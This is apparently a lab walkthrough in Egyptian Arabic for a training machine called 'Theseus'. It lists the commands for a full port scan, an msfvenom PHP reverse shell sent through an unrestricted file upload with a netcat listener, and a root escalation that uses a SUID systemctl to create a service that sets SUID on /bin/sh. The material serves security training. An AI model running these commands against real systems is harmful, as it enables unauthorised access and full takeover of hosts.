لاب Theseus بيبدأ بمسح كامل لكل الـ 65535 بورت — الخدمة المهمة مخبّاة في بورت غير قياسي. بعد الوصول لصفحة الويب، بترفع ملف PHP Reverse Shell زي أي ثغرة Unrestricted File Upload كلاسيكية، فبتوصل لصلاحيات www-data. المفاجأة الحقيقية في التصعيد: systemctl نفسه معاه SUID Bit — تقدر تبني سيرفيس مؤقت (oneshot) يحط SUID على /bin/sh، فتشغّله بصلاحيات Root كاملة.
أكمل اللاب واحصل على الـ Badge — أضفه لملفك على LinkedIn
مسح شامل لكل البورتات يكشف SSH على 22 وHTTP على 80، بالإضافة لخدمة إضافية على بورت مرتفع غير متوقع.
nmap -p-صفحة الرفع بترفض فحص نوع الملف الحقيقي — إعادة تسمية shell.php بامتداد مقبول أو تعديل الـ Content-Type بتخليه يمر.
Unrestricted Uploadتشغيل الملف المرفوع من خلال الرابط المباشر بيديك Reverse Shell بصلاحيات www-data.
www-datafind / -perm -u=s بيكشف إن systemctl نفسه عنده SUID Bit — حاجة غير معتادة خالص.
SUID systemctlإنشاء ملف .service مؤقت بيشغّل chmod +s /bin/sh عند التفعيل، تحميله بـ systemctl ثم تفعيله.
systemctl linkتشغيل /bin/sh -p بعد حصوله على SUID بيديك shell بصلاحيات Root كاملة فوراً.
Root Shell| الأمر | الوصف | المرحلة |
|---|---|---|
| nmap -p- -sV <IP> | مسح شامل لكل البورتات — الخدمة هنا مش على بورت قياسي | Recon |
| msfvenom -p php/reverse_php LHOST=<IP> LPORT=4444 -f raw > shell.php | بناء الـ payload | Build |
| nc -lvnp 4444 | Listener قبل الرفع والتشغيل | Listen |
| python3 -c “import pty;pty.spawn(‘/bin/bash’)” | تثبيت الشِل | Stabilize |
| find / -perm -u=s -type f 2>/dev/null | تعداد SUID binaries — systemctl يظهر هنا | PrivEsc |
| TF=$(mktemp).service; echo ‘[Service]\nType=oneshot\nExecStart=/bin/chmod +s /bin/sh\n[Install]\nWantedBy=multi-user.target’ > $TF | بناء سيرفيس مؤقت | Exploit |
| systemctl link $TF; systemctl enable –now $TF; /bin/sh -p | تفعيل السيرفيس والحصول على Root | Root |
Deploy VM · nmap -p- · إيجاد البورت الإضافي
رفع shell.php · www-data access
find -perm -u=s · اكتشاف systemctl SUID
بناء سيرفيس مؤقت · root shell · root.txt